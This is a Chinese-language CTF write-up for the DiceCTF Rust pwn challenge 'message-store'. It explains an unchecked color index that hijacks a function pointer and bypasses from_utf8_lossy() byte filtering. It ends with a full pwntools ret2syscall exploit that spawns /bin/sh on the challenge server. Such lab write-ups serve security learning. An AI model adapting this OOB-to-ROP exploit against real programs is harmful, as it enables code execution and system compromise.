Featured image of post dicectf-pwn/message-store

dicectf-pwn/message-store

利用usize索引和gadget桥接,绕过rust from_utf8_lossy()检测进行ret2syscall

最后修改:
|
|
|

分析

保护如上,ida打开是没有去除符号的rust代码
有set_message set_message_color print_message三个功能
set_message用于设置信息到全局变量challenge::BUFFER中,这里动态分配长度的message以及内存管理没有安全问题,将字符输入以后就清空临时输入区了
print_message输出之前置入到challenge::BUFFER的原始字节为UTF-8字符串,from_utf8_lossy()函数会自动将无效字符置空,注意到v0调用到的函数指针数组读取到challenge::color作为索引,读取到一个函数指针v0并进行颜色转义输出

漏洞点

跟踪challenge::COLOR找到该函数,没有检测v2数字的范围,可以设定颜色数组之外的数值,可以轻松hijack到challenge::BUFFER,提前布置好合理的ROP chain执行ret2syscall
Target_Address = Address_of(funcs_243A92) + (challenge::COLOR * 8)

漏洞利用

由于from_utf8_lossy函数存在,大量的gadget都会因为含有大于7f的字节而直接被杀掉,因此我们需要寻找合适的gadget来进行绕过

1
python3 -c "\nfor line in open('rop.txt'):\n    if not line.startswith('0x'): continue\n    addr = line.split()[0]\n    # 补齐16位并按字节拆分检查\n    addr_val = int(addr, 16)\n    bytes_arr = addr_val.to_bytes(8, 'little')\n    if all(b <= 0x7F for b in bytes_arr):\n        print(line.strip())\n" | grep "pop rsi"

我们先进行部分筛选,然后开调

打好断点以后在此处步入调试,注意到ras=rsi=BUFFER,我们希望通过栈迁移来控制rsp,有一个很好的xchg rsp,rax ; retgadget就可以实现

注意该gadget会在ret后重新回到buffer开头,我们如果不预处理这个gadget就会infinite loop,因此将set_message_color触发的offset调整为BUFFER+8,并用其他的pop来跳过xchg执行之后的gadget

rdx如何控制?
在syscall前rdx总是处于一个很烂的值,但是几乎没有合适的gadget好用,在找到mov rdx,r8 ; ret可以置0后有一个9d又会被杀掉,之后意外发现utf-8规范可以使用双字节:
那么在小端序组合时我们恰好可以在之前的gadget进行pop的时候塞入一个110,这样就可以绕过检查

然后就可以愉快的rop了

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
import argparse
import sys

from pwn import *

parser = argparse.ArgumentParser()
parser.add_argument(
    "mode",
    type=int,
    choices=[0, 1, 2],
    nargs="?",
    default=0,
    help="0=local,1=local+gdb,2=remote",
)
args = parser.parse_args()

filename = "./challenge"
libc_name = ""
arch = "amd64"
remote_addr = "message-store.chals.dicec.tf"
remote_port = 1337

context(log_level="debug", os="linux", arch=arch)
if args.mode < 2:
    context.terminal = ["tmux", "splitw", "-h"]

def VIO_TEXT(x, code=95):
    return log.info(f"\x1b[{code}m{x}\x1b[0m")

def CLEAR_TEXT(x, code=32):
    return log.success(f"\x1b[{code}m{x}\x1b[0m")

if args.mode == 0:
    io = process(filename)
    CLEAR_TEXT("[*] Running on local machine")
elif args.mode == 1:
    io = process(filename)
    gdb.attach(io, gdbscript='''
        # put your scripts here
            b *0x243a92
            c
    ''')
elif args.mode == 2:
    io = remote(remote_addr, remote_port)
else:
    sys.exit(1)

elf = ELF(filename, checksec=False)
if libc_name:
    libc = ELF(libc_name, checksec=False)

# --- Exploit Start ---
buffer_offset=4779 # BUFFER+8
buffer=0x2f9e38 # challenge buffer

xchg_rsp_rax_ret= 0x242d78 # pivot gadget
pop_rbp_ret=0x242d5d
pop_rdi_rbp_xor_eax_ret= 0x2a1345
pop_rsi_r15_rbp_xor_eax_ret=0x2a1343 # 控制rsi用
pop_rax_rbx_r14_r15_rbp_ret=0x28a2d6 # 控制rax用,rbx和r14随便,r15和rbp控制后续的rop链
mov_rdx_r8_ret=0x2b169d
syscall = 0x2a6602

bin_sh_addr=buffer+0x8a
utf8_prefix=0xc200000000000000
# utf8_prefix=0xc2 << 8  # utf-8编码的"/bin/sh"前两字节


payload=flat(
    pop_rbp_ret,xchg_rsp_rax_ret, # xchg本质做了pivot,rax原本存了BUFFER,为了防止出现循环,用pop rbp跳过BUFFER+8的xchg
    pop_rdi_rbp_xor_eax_ret,bin_sh_addr,0, # 把"/bin/sh"前两字节放到rsi里,后续的rop链会把剩下的字节放到rsi里
    pop_rsi_r15_rbp_xor_eax_ret,0,0,0, # 把0放到r15里,后续的rop链会把剩下的字节放到rsi里
    pop_rax_rbx_r14_r15_rbp_ret,59,0,0,0,
    utf8_prefix,
    mov_rdx_r8_ret, # call点上r8 ==0
    syscall
)
payload=payload.ljust(0x8a,b"\x00") + b"/bin/sh\x00"
payload.decode("utf-8")

if args.mode == 2:
     io.recv()
     solution = input("answer for PoW:")
     io.sendline(solution.encode())

io.sendlineafter(b"> ", b"1")
io.sendlineafter(b"New Message? ",payload)

io.sendlineafter(b"> ",b"2")
io.sendlineafter(b"> ",str(buffer_offset).encode())

io.sendlineafter(b"> ",b"3")

io.interactive()

作为一道rust pwn的入门题出的不错,主要的OOB漏洞以及原生函数检测的绕过挺好玩的